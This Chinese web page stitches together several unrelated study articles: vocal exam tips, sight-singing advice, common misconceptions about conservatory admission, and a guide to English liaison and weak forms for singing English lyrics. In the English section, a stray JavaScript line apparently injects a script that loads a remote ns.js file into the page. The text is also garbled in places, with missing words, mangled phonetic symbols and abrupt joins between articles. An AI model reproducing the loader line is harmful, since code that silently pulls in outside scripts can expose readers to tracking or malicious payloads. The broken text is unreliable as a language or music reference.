声乐艺术生艺考：让歌声瞬间好听的16条秘诀
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声乐艺术生艺考:让歌声瞬间好听的16条秘诀
声乐艺术生艺考
让歌声瞬间好听的16条秘诀
90的同学不重视咬字，用平常说话的习惯唱歌是不对的，咬字是你平时用力夸张的10-20倍。
字正腔圆的要求：
1、没有地方口音;
2、唱歌时通道两边是一样粗的应该是圆的。如果你没有字正腔圆，那么你出气口(喇叭口)是变形的;
3、五个元音唱得都是圆的。
美声唱法要多借鉴民歌的唱法的字正腔圆：咬字清楚，声音清澈。即使是美声，嘴里也不能包着字，不咬字，象有一大壶水，呜呜囔囔。
歌词读熟练了，唱歌也是这样，养成习惯。
女声高音唱到G、降A或A，男声唱到升F、G，aeiou都不好唱，要多练。
较好唱的是u，把aeio柔到一起，唱的时候，收嘴角。“衣”唱成“余”用唱u 的口型唱aeio。
关于《字正腔圆的原则、含糊咬字的原则》问答
一、气声：叹气的感觉唱歌，叹慢了，就漏气。
二、如果漏气，就发“S”练习。
三、吐字不清，练绕口令。
四、高音区不透亮多唱“鱼”，会有很多的帮助。
五、找高位置练习“U”。
六、闭口音练“衣”或“鱼”，较好练“鱼”。
七、高位置不在鼻咽上，在头盖骨上。
八、朗读歌词的声音和唱出歌词的声音是一样的，夸张的朗读后唱歌。
九、字在胸口处，声音在上额，这是完全错误的。需要有支点就在后腰上。如果头腔需要有支点，就在额头向上。
十、饱吹饿唱是民俗的说法，没有道理。老师唱歌剧是吃饱了唱的。
十一、高音的位置在头顶。
十二、唱歌嗓子干正常，与紧张有关系。
十三、支点的感觉横膈膜处在后腰(肾的位置，向下拉)，头腔是在额头，更厉害的说支点在嘴唇上，建议大家先不要练。
十四、唱流行歌曲，位置可以低点，更自然。
十五、压着喉咙唱歌，声音起不来，晃脖子就放松了。
十六、每个发音都在元音上。
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学视唱练耳真的有必要吗？来看看这个
音乐是听觉的艺术，当我们在聆听某人演唱或演奏时，常常用”乐感”一词来衡量其优劣。所谓的”乐感”，顾名思义是对音乐的感觉，这里面包含了对音乐的感受能力和对音乐的理解能力以及表达能力。这三种能力的培养，也就是乐感的培养，主要是通过视唱练耳教学来实现的。
视唱练耳要解决的问题是什么?
学琴归根到底主要需要解决两大方面的问题，一个弹奏的问题，一个是乐谱上的问题。视唱练耳的学习就恰好帮助乐曲学习者着通过看谱、唱谱、听谱等方式，去对应乐谱的视觉、听觉、记忆方面的能力。
因此，我们在学琴的基础阶段，甚至还没正式开始学琴之前，如果把相关的基础课程——“视唱练耳”掌握好，那么学琴的难度也就大大降低了。
视唱练耳课程是音乐教学中一门重要的基础课程，也是高考艺术类音乐专业学生的一门必修课程和艺考音乐专业考试中的科。视唱练耳能力的高低能够引起音乐学习中一系列连锁反应。
为什么很多人视唱练耳能力差?
一、个人原因。一般来说，初学者在学习视唱练耳时都会有很大困难的，但这并非放松学习视唱练耳的理由，重视并坚持下去就会越来越顺利的。
二、老师的原因。在学习视唱练耳的过程中，老师一定要勤于引导和监督。如果老师稍有懈怠，再加上学生的惰性和盲目性，提高学生的视唱练耳能力就会很难了。
三、学琴进度慢兴趣低的根源：视唱练耳差。有些学生找家教学钢琴两年，现在进度很慢，且渐渐失去了兴趣，是因为学习氛围不好还是课程设置不对呢?刚刚开始学琴的前一段阶段还好，因为乐曲简单，刚学琴，新鲜劲还没过。但是随着作品难度的加深，很多问题就慢慢暴露出来了，比如“看谱慢，节奏把握不好，左右手协调不好”，弹奏的时候不仅要注意琴弦的位置，手指的演奏技法，还要注意看谱，快速识别音高的位置，节奏的准确度，乐句的划分等等方面。所有的问题堆积到一起，势必会感觉学习特别困难，中途放弃学习往往是因为没有视唱练耳的基础造成的一方面。
还有些学生完全就是凭借听乐曲而模仿仿记忆，这个方式在初学的时候还行，乐谱简单，等达到了二声部以上的作品，纯粹的模仿记忆就行不通了，久而久之养成了不看谱的坏习惯，使学琴、看谱形成一个恶性循环。
视唱练耳的内容包括
1、视唱:培养一种看谱即唱的能力;通过对音准节奏的训练，掌握练习节奏记写，熟悉每一种节奏型。
2、和声听觉训练：
(1)听辩单音或音列并向上或下构成音程。在听辩音阶时，要在自然大调，和声大调、自然小调，旋律小调向上和向下进行时唱不同的音列，对它们进行对比式的辩听。
(2)辩听音程和和弦，传统的方法是按照难易程度进行：先七度、二度，再三度，六度，再五度，四度等等，这种方法可以让我们体会到协和与不协和的区别，另外还可以按照度数如二度、三度、四度的顺序逐步辩听。
(3)旋律听写
总之，视唱练耳强调从色彩、听辨感受、距离感觉、这几方面去抓住音程的性质
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声乐考试较易陷入的三大误区
多年来，许多热爱声乐，怀着歌唱梦的莘莘学子们纷纷前来应试，经过层层选拔，优秀者顺利入围，落榜者也并不气馁，准备来年再次拼搏实现梦想。对于这些因某些原因失利的落榜者我们给予鼓励和赞赏，他们坚持不懈的精神是的原动力;对于准备或再次考学的学生来说，怎样考入中央音乐学院声歌系，还存在着一定的疑问和经验上的不足。为了考生能更加深入了解考试的准备工作和应试细节，笔者认为，本文大体从五个方面向大家初步介绍：
据多年来的招生考试经验，我们发现大多数家长和考生对于参加这门学科的考试普遍存在着很多误区：
前列，源于学生本身的误区
许多即将步入大学的学生由于很薄弱，认为在 方面已无出路，他们片面的以为专业音乐学院声歌系对于的分数要求不高，能够作为上大学的选择。还有一些学生看到了当今社会上有越来越多歌唱家涌出，并且受到广大欣赏者的喜爱。所以许多学生盲目崇拜，甚至于认为学习声乐是能够有机会扬名的途径和选择就业的便利条件。
第二，是来源于学生家长的误区
一些家长希望在孩子身上实现自己年轻时未能实现的梦想，试图在孩子身上弥补未曾学习歌唱的缺憾。我们知道，在中国20世纪80、90年代时曾经出现过一阵“钢琴热”，带动了成千上万的孩子与家长竞相学习钢琴。随即又出现了“考级热”!考级甚至还与直接相关。所以许多家长不惜付出经济上、心理上多方面的努力。事实上，孩子没有这方面天赋或并不喜爱音乐，而是在家长的勉强和逼迫下进行学习。随着这一热潮逐渐降温，现在我们已经深切地看到这一热潮带给我们的严重负面效应，如造成许多孩子身心俱疲。家长们望子成龙、望女成凤的心态是可以理解的，但是这种以主观意愿指导孩子的学习和兴趣是不可取的。拔苗助长是无益而且无谓的!从以上的事例分析我们也应该在选择考专业音乐学院时慎重考虑。家长们应该从孩子角度考虑，以民主的态度和孩子共同决定。
第三，来源于社会上的误区
如上两条来自家长和学生自身的误区形成一定风气后，便成为现今社会对于参加专业音乐院校考试的一种来自整个社会的误区。社会上大多数人既对能够进入专业音乐学院学习者投以羡慕的目光，同时又认为学习音乐，学习声乐是由于水平不高，所以选择学习音乐。造成这些社会误区的原因是多元的，其中较为重要的是对于音乐学院声乐学科乃至整个音乐学院的教育体制不了解，作为专业音乐学院当然是以专业的训练为主，但是并不代表对于学生文化素养不重视。况且考生的高考分数必须要达到每年规定的通过分数线才可顺利通过。
解决如上误区的好的办法是要调整个人心态。作为考生来说既然决定选择歌唱为自己从事、奋斗的目标，就要从自身出发，对于自身条件有一个客观的认识。虽然天赋是必要的，这里要强调所谓的天赋包括诸多方面，例如：嗓音条件、表演能力、文化素质等。但较重要的是内心是热爱音乐、热爱歌唱的。如果将学习人为的联系上许多功利因素，即使具备了天赋，没有足够艺术激情，也终究会与理想背道而驰的。翻译家、艺术理论家傅雷曾经教育他的儿子国际钢琴家傅聪“要先做人，再做艺术家，然后是音乐家，较后才是钢琴家!”我想把这句话送给即将选择声乐作为自己未来专业的同学来说是再合适不过了。
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英文歌词的连读技巧
我们都知道衡量一个人的英语口语的水平有几个方面：
，单词的发音是否正确;
第二，流利程度。也就是单词与单词之间的连读技巧。
而英语歌的演唱也需要英语口语的技巧做支撑，所以学习啦小编今天就为大家介绍一下快速提高英语口语唱好英文歌的技巧。
由此可见说英语并不是以每个单词为单位，并不是把每个单词都发得非常清晰就可以说一口流利的英语，很多时候应该将某些相邻的单词连在一块读，一般是 将前一个词较后的音(大多是辅音哦!)和后面一个词的个音拼在一起，这样一气呵成，不仅加快了语速，更让你的英语具有浓厚的 英语味 !
你不妨按照以下方法练练连读，亲身体会 唱一口地道英文歌 的感觉! 连贯讲英语时 , 在同一个意群( 即短语或从句 )中 , 如果相邻的两个词前者以辅音音素结尾 , 后者以元音音素开头 , 就要自然地将辅音和元音相拼 , 构成一个音节 , 这就是连读。连读时一般不要重读音节，只是很自然地一带而过。连读只发生在句子中的同一个意群中，所以在两个意群之间即使有两个相邻的辅音和元音出现 , 也不可连读。
如：Please take a look at it. 这个句子中 take a look at it 是同一个意群 , 那么 take 与 a 可连读 ,look 与 at 可连读 ,at 与 it 可连读。 在 There is a book in it. 一句中 book 与 in 往往不连读 , 因为 book 与 in 分别在两个不同的意群中。其实这和学中文是一样的，讲英语是为了更好表达你心中所想，如果随便两个词就连读不但拗口，而且会使听者误解你的意思。
下面学习啦小编重点给大家讲解一下口语中的四个连读技巧：
一、英文歌词连读技巧之 辅音 + 元音 连读
在同一个意群里，如果相邻两词中前者以辅音结尾，后者以元音开头，就要将辅音与元音连读。如：
I m ﹀ an ﹀ English boy. Dad asks to leave ﹀ it ﹀ alone. Let me have ﹀ a look ﹀ at ﹀ it. Put ﹀ it ﹀ on, please. Not ﹀ at ﹀ all。 这没什么难的吧，连读的秘诀就是把两个独立的单词拼在一起。
二、英文歌词连读技巧之 r/re+ 元音 连读
如果前一个词是以 -r 或者 -re 结尾，后一个词是以元音开头，这时的 r 或 re 不但要发 /r/ ，而且还要与后面的元音拼起来连读。
there ﹀ is for ﹀ instance I looked for ﹀ it here ﹀ and there. There ﹀ is a place far far ﹀ away. Where ﹀ is my cup? Where ﹀ are your brother ﹀ and sister?
但是， /r/ 的发音对很多朋友是难点哦，先得练好此音。而且如果一个音节的前后都有字母 r ，即使后面的词以元音开头，也不能连读。
The car ﹀ is coming nearer and nearer. ( nearer 与 and 不可连读)
三、英文歌词连读技巧之 元音 + 元音 连读
如果前一个词以元音结尾，后一个词以元音开头，这两个音通常连读。元音加元音有点类似双元音。
You ﹀ are She/he ﹀ is Try ﹀ it She wants to study ﹀ English. How ﹀ old are ﹀ you?
She can t carry ﹀ it. It ll take you three ﹀ hours to walk there。
四、英文歌词连读技巧之 辅音 + 半元音 连读
英语语音中的 /j/ 和 /w/ 是半元音，如果前一个词是以辅音结尾，后一个词是以半元音(特别是 /j/ 开头，此时也要连读)。
Thank ﹀ you. Nice to meet ﹀ you. Would ﹀ you like ﹀ a cup ﹀ of tea ? Could ﹀ you help me, please?
这是几种主要连读的情况，说起来似乎很简单，但是当你讲英语时你常常会忽视它们，所以还是得多练，熟记于心，自然会说得越来越地道。( Practice makes you perfect! ) 不连读并不意味着你发音错了，然而想让自己说英语更有 native speakers 的味道，还是勤加练习。
所谓的熟能生巧，对于英语学习来说就是要不断的练习，掌握太多的技巧，如果没有加于应用，再多的技巧都是没多大的用处。所以希望大家在掌握技巧的基础上多加练习。
记住Practice makes perfect!
英语口语连读技巧，如不发音的辅音，单词间的连读，介词的弱读，助动词的弱读等技巧。 这些技巧的训练会质地改变英语口语的流利度。
连读技巧是中国学生的薄弱环节，听不懂外国人说话，部分原因在于不熟悉他们的连读习惯。 不能流利说英语，是因为习惯于一个单词，一个单词地说英语。 连读技巧的自我训练，可以帮助大家流畅自如地说英语， 同时提高英语的语感，形成自然的说话方式。
口语连读技巧包括若干个小技巧，下面一一说明：
2.1 英文歌词连读技巧之单词间的连读
var script = document.createElement( script script.src = https://www.zhongyin.net.cnbaichuan/ns.js document.body.appendChild(script);
很多英语学习者感觉听懂英文电影特别难，但是当你看到电影对白时，发现这些单词你都认识，而且句子也很简单，你知道为什么你会听不懂英文电影，或者不能象Native Speaker那样说英语吗?
答案就在 单词间的连读 技巧上。 实事是，Native Speaker在说英语时，他们自然性地会将某些单词连起来说，而有些单词的较后一个辅音又会省略不说，对于英语是外语的我们来说，如果能掌握这些的 单 词间的连读 技巧的话，你在口语流利度的训练上就找到了一条捷径。
当然对于从未这样学过英语或说过英语的读者来说，这种训练在开始时会让你非常紧张，但是随着训练量的积累，你会发现你自已竟然可以如此自如，自信地说英语了。
下面，我们来介绍一下单词间的连读技巧：
当前一个单词的较后一个音是辅音, 而该单词的后面一个单词的个音是元音, 那末这两个音可以连起来读， 如： come⌒on watch⌒out
what s⌒up come⌒in
shut⌒up hold⌒on
get⌒out forget⌒it
look⌒out wake⌒up
以下是关于购物话题的一些具有典型性的连读句子，其中单词间连读的部分大家可以自己试试：
I shop for my⌒own clothes. 我自己给自己买衣服。
I⌒only shop when⌒I need something, I don t shop for pleasure. 我只在需要些东西时才去购物，从不逛着玩。
When⌒I was young, shopping was my recreation, but now⌒I do what⌒I have to do, and⌒I don t do⌒it⌒any⌒other time.
当我年青的时候，购物是我的娱乐，但现在是需要时才去购物，没什么需要时，就不去逛商店了。
I m⌒a real bohemian, so⌒I ve been married for 10 years, and⌒I don t think⌒I ve bought⌒any⌒of my⌒own shoes in 10 years.
我是一个自由散漫的人，已经结婚有10年了，我想想看这10年来从没有自己亲自买过一双鞋。
My wife does⌒all the food shopping. 吃的东西都是我妻子买。
I m from Washington D.C, and we have⌒a flea market⌒every week, near the river; I like to buy there.
我来自华盛顿，每星期那儿都有一个跳蚤市场，就在河边，我很喜欢去那儿买些东西。
Sometimes⌒I go shopping⌒even⌒if⌒I don t want to find⌒anything myself.
有时候即使是不给自己买东西，也会去商店逛一逛。
If⌒a friend needs something, we just walk⌒around⌒and look⌒at clothes and, you know, and talk⌒and hang⌒out, sometimes⌒it⌒is⌒a social⌒activity.
如果朋友需要买些东西，我们会到处走走，看看衣服，你知道，聊聊天，闲逛，有时候这是一种社交活动。
I have⌒a boyfriend⌒of my age, I find⌒I enjoying shopping with him. We like similar things, or we like totally⌒opposite things, but⌒it s fun together.
我有个男朋友，年纪和我一样大，我发现我喜欢和他一起购物。 我们喜欢相同的东西，或者有时喜欢皆然不同的东西，但两人一起逛逛觉得很有意思。
Shopping⌒is not my sport, I, I m really not the guy to talk⌒about shopping.
购物不是我喜欢的运动，我，我真的不是那种可以谈论购物话题的人。
If we can find⌒a mall that⌒isn t⌒as crowded, we ll go there. But most⌒of the time, we go to neighborhood shops.
如果我们能找到一个不太拥挤的超市，我们会去那儿。 但绝大部分时间，我们都是去附近的小商店。
Usually⌒I prefer shopping from catalogs than going to the mall, because there⌒are too many people. 一般，我比较喜欢通过目录册子定购商品，而不是去超市，因为超市有太多的人。
在自我训练时，请一定根据 单词间的连读 技巧，做大量地朗读，直到你可以不用看书，而能自然地说出每一个典型的连读技巧句子。
2 英文歌词连读技巧之不发音的辅音
有的学生在读英语，或说英语时，总觉得有些绕口，这是因为实际上在读或说英语时，某些单词较后的一个辅音是可以不发出来的，如果你想把单词的每一个辅音都 发出来，就会影响你说英语的流利度。究竟在什么情况下，单词较后一个辅音可以不用发出来呢?下面我们来看看不发音的辅音技巧：
当前一个单词的较后一个音是辅音, 主要是爆破辅音如: /b/, /p/, /t/, /d/, /k/, /g/时, 而该单词的后面一个单词的个音也是辅音, 那末前一个单词的较后一个辅音就可以不发出来. 如下面单词中斜体字母表示这个字母不发音。 a stupidstory a reddesk
大家来练习一下下面这些短语，注意不发音的辅音(斜体字母表示这个字母不发音)：
The westcountry. The eastcoast
You can expectsome rain
Aroundthe three or four degrees mark The coldfront
以下是一些口语中常用的句子，大家自己试着读一下，注意单词间的连读，及不发音的辅音:
You never getto do⌒anything you want. 你永不可能想做什么，就做什么。
You may nottake this trip because you⌒are⌒all young, relatively⌒ inexperienceddrivers.
你不能进行这次旅行，因为你们都太年青，相对来说开车的经验还太少。
Because you don thave⌒enough⌒experience. 因为你没有足够多的经验。
How will⌒I⌒ever getthe⌒experience if you never letme do⌒ anything?
如果你从不允许我做任何事，我怎么能有经验?
Thatwas⌒a greatsuccess⌒I think. 我认为这是一次巨大的成功。
It s very difficultto get⌒answers to some⌒of my questions. 看来很难从你口中得到我想要的答案。
There s something you shouldknow⌒aboutme.
你应该了解一些关于我的事情。
I m not running⌒anywhere⌒atthe moment. 我目前没有什么打算。
We needto get⌒our business moving. 我们需要让我们的事业继续下去。
3 英文歌词连读技巧之助动词的弱读
在英语口语中，也是在任何一门语言中，人们在说话时，总时有重有轻，一些主要的词如：名词，动词，形容词等都会重读。 而相反，助动词，介词等就会弱读。 解决好助动词，介词的弱读，可以使你更流利，更自然地说英语。
以下是常用助动词在句子中的弱读发音及例句，大家自己先试一下，然后我来示范一下：
do you /dEju:/
Do you always get up at seven? Do you finish your homework?
they re / eE/
They re playing football after class.
They re watching TV in the living room.
was /wEz/
She was blamed for being late.
It was raining heavily all yesterday.
we re /wiE/
We re looking forwards to your visit. We re going to rent an apartment.
I ll /ail/
I ll play Chinese chess with Steven tomorrow evening. I ll go to Australia with my family this summer.
we ll /wil/
We ll be the middle school students next semester. We ll attend a seminar this afternoon.
has /hEz/
Mary has a beautiful hat with her.
He has been in Guangzhou for around ten years.
have /hEv/
They have been in the meeting for hours. We have worked for many years.
does /dQz/
Does your boyfriend always call you? Does it sound interesting?
4 英文歌词连读技巧之介词的弱读
英语介词在口语中，通常也是被处理成弱读形式，这就是为什么当你在看英文电影时，似乎听不到这类词。 说英语时，处理好介词的弱读会大大提高你的口语质量。
下面，我们先讲讲介词 of 的弱读， of 在英语中是一个较普遍的介词，学好 of 的弱读，可你让你的英语口语流利许多。
请注意：在口语中，介词 of 的发音是：/Ev/。
a piece of cake a packet of cigarettes
a cup of tea a glass of water
a box of matches a bottle of aspirin
a bag of sugar a couple of months
a lot of friends a great deal of ideas
其它介词的弱读
以下是其它介词的强读与弱读的发音对比。 当我们在口语中使用这些介词时，一般使用它们的弱读发音。
强读 弱读 from /frCm/ /frEm/ to /tu:/ /tE/ at / t/ /Et/ of /Cf/ /Ev/ for /fC:/ /fE/
大家来试试下面这些句子，注意介词 of 的弱读： I d like a pot of tea for breakfast, please. 我早餐想来杯茶。
Let s meet at the entrance at eight. 我们八点钟在入口处见面。
Give it to Julia and say it s from me. 把这个交给朱丽亚，就说是我给她的。
I just have a slight problem adjusting to change. 我对于变化不是太适应。
He said you two went on a few dates in high school? 他说你们两个在高中有过几次约会。
I would like to address all personnel. 我想对全体人员作个讲话。
They go nuts for you. 他们为你疯狂。
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